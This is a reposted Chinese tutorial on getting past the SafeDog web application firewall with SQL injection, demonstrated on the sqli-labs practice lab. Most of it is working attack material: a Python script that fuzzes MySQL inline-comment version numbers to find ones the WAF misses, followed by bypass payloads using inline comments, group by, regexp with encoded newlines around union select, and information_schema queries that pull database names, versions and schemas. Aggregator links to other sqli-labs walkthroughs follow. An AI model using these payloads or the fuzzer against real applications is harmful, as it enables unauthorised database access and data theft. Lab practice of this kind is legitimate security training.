安全狗SQL注入绕过

这篇具有很好参考价值的文章主要介绍了安全狗SQL注入绕过。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

安全狗SQL注入绕过

本文用sqli-labs第一关为例

一、简单注入

开启安全狗后尝试正常注入,发送请求后可以看到被安全狗拦截了

1' and 1=1 %23

安全狗SQL注入绕过

寻找被安全狗匹配的特征字符,这里没被拦截

1' and %23

安全狗SQL注入绕过

原来是当and 与 xx=xx 同时出现的时候会被安全狗识别

安全狗SQL注入绕过

1.1 简单注入绕过方式

这里可以使用mysql的内联注释来进行绕过

内联注释/*! */:在mysql中,/*! */被称为内联注释,里面的内容是会被mysql解析的,解析情况分为以下两种:

1.当/*!紧跟数据库版本号时

​ 这种情况表示,当目前的数据库版本号大于指定的版本号时,里面的内容才会被解释SQL语句,否则会被当做注释处理而被忽略掉

CREATE DATABASE `mydb` /*!40100 DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci */

表示当 MySQL 的版本号大于 4.1.00 时,后面的 SQL 语句才会被执行。

2.当/*!不紧跟版本号时

​ 这种情况下,里面的内容会被当做SQL语句解析执行

-- 内联注释语句
SELECT * FROM `demo` /*! where id = 2 */;

-- 解析后的语句相当于
SELECT * FROM `demo` where id = 2;

总结:一般来说,内联注释只有在紧跟版本号的情况下才有意义,其主要目的是通过版本号来控制部分语句在不同 MySQL 版本下的执行情况。

1.2 寻找版本号
import sys

import requests
from fake_useragent import UserAgent


def fuzz_start(url):
    for i in range(10000, 50000):
        ua = UserAgent()
        base_url = "{0}/?id=-1'/*!{1}or*/ 1=1 %23".format(url, str(i))
        ret = requests.get(base_url, ua.random).text
        if "拦截" not in ret:
            print("fuzz succee! url is:")
            print(base_url)


if __name__ == '__main__':
    url = sys.argv[1:]
    fuzz_start(url[0])

代码运行后发现有很多能绕过安全狗的版本号

安全狗SQL注入绕过

使用内联进注释行注入

id=-1' /*!11445or*/ 1=1 %23

安全狗SQL注入绕过

使用内联注释绕过waf,实现简单注入成功

二、绕过联合注入

常规方法检测列数被拦截

1' order by 1 %23

安全狗SQL注入绕过

将order by替换为group by便直接绕过

1’ group by 3 %23

安全狗SQL注入绕过

爆破显示位时,union 和 select 被拦截

1' union select 1,2,3 %23

安全狗SQL注入绕过

2.1 联合注入绕过方式

这里使用mysql自带的正则函数(regexp)

select * from company_info where name like '桑尼';  //查询name等于桑尼的数据
select * from company_info where name regexp '桑尼'; //查询结果中name包含桑尼的数据

绕过代码

-1' regexp "%0A%23" /*!11444union*/ %0A /*!11444select*/ 1,2,3 %23

 %0A : 换行
 %23 : #

安全狗SQL注入绕过

2.2 获取详细信息

尝试获取数据库名、版本,因database()被识别被拦截

-1' regexp "%0A%23" /*!11444union*/ %0A /*!11444select*/ 1,database(/*!11444*/),version(/*!11444*/) %23

安全狗SQL注入绕过

使用内联注释获拼接得数据库名与版本号

-1' regexp "%0A%23" /*!11444union*/ %0A /*!11444select*/ 1,database(/*!11444*/),version(/*!11444*/) %23

安全狗SQL注入绕过

2.3 注入出表名
-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(schema_name) /*!from*/

/*!--+/*%0ainformation_schema./*!schemata*/ --+

安全狗SQL注入绕过文章来源地址https://www.toymoban.com/news/detail-478710.html

到了这里,关于安全狗SQL注入绕过的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [网络安全]sqli-labs Less-25a 解题详析

    不同于25关的是sql语句中对于id没有单引号包含,同时没有输出错误项,故报错注入不能用。 有两种方式:延时注入和联合注入;本文采用联合注入。 具体过程不再详述,本文给出最终POC: 具体过程本文不再赘述,可移至本专栏相关文章:SQLiLabs靶场专栏

    2024年02月06日
    浏览(48)
  • SQL注入sqli_labs靶场第三题

    ?id=1\\\'and 1=1 and \\\'1\\\'=\\\'1和?id=1\\\'and 1=1 and \\\'1\\\'=\\\'1进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。 根据报错信息判断为单引号带括号注入 联合查询: 猜解列名 ?id=1\\\') order by 3--+ 判断回显点 ?id=-1\\\') union select

    2024年04月11日
    浏览(59)
  • sqli-labs例题复现

    less-1.1 在源码中$id=$_GET[\\\'id\\\'];之后加入如下代码: 1.分析正则 第一个b匹配select单词边界,sS匹配到所有字符,最后一个b匹配到from单词边界。 select...from被过滤,失效。 2.科学计数法的引入 如果可以存在一个,可以加在from前面,不会影响语句执行,从而实现绕过正则

    2024年02月10日
    浏览(47)
  • sqli-labs靶场分析

    1、level1 单引号测试报错,为单引号闭合,且显示1多了个单引号故而为字符型注入。且未对用户输入进行任何过滤。 且SQL语句错误会输出,可以使用报错注入 order by判断表列数 uoion 联合查询,因为网页只显示第一张表的数据,因此需要union前的语句为假,查出数据为空,把位

    2024年02月07日
    浏览(50)
  • sqli-labs通关详解

    找注入点,当输入id=1 and 1=2–+时没有变化,尝试单引号闭合找到注入类型 字符型注入,单引号闭合 判断字段数 找回显点 发现有两个回显点 开始信息收集(注意union前后格式要相同) 开始逐级爆破 爆破数据库 看源码或者尝试,没有闭合方式,说明为数字型注入 尝试找到注入

    2023年04月15日
    浏览(44)
  • SQLI-labs-第一关

    目录 知识点:单引号字符型注入 1、根据提示,为get注入,在url中输入内容​编辑  2、判断注入点  3、判断目前该表的字段数  4、判断回显位置 5、爆库名 6、爆表名   7、爆字段名  8、爆值 知识点:单引号字符型注入 思路: 1、根据提示,为get注入,在url中输入内容  

    2024年02月11日
    浏览(44)
  • sqli-labs靶场安装

      服务器环境:phpstudy   下载链接:https://www.xp.cn/   Sqlilabs靶场:sqlilabs   下载链接:https://github.com/Audi-1/sqli-labs   PhpStudy国内12年老牌公益软件,集安全,高效,功能与一体,已获得全球用户认可安装,运维也高效。 支持一键LAMP,LNMP,集群,监控,网站,FTP,数据库,J

    2023年04月13日
    浏览(86)
  • Sqli-Labs 通关笔记

    创建网站时选择php版本为5.x 修改./sql-connections/db-creds.inc 修改数据库用户名和密码,下面的数据库名不用管 任务目标:获取表名 Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入) sql查询语句为 SELECT * FROM users WHERE id=\\\'$id\\\' LIMIT 0,1 输入 ?id=-1\\\' ,报错语句为

    2023年04月20日
    浏览(41)
  • sqli-labs部分关思路

    目录 updatexml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 25a 26 26a 27 27a 28 28a 问题:你了解sql注入吗 答:由于程序过滤不严谨,用户异常输入,这些输入会导致数据库异常查询,最终导致sql注入 mysql三种注释符: --+ # /**/ updatexml() 这个函数作用是替换数据,三个参数对应

    2024年02月09日
    浏览(43)
  • sqli-labs关卡之一(两种做法)

    目录 一、布尔盲注(bool注入)  二、时间盲注(sleep注入) 页面没有报错和回显信息,只会返回正常或者不正常的信息,这时候就可以用布尔盲注 布尔盲注原理是先将你查询结果的第一个字符转换为ascii码,再与后面的数字比较,如果为真,整个查询条件就为真,返回正常的结果

    2024年02月09日
    浏览(113)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包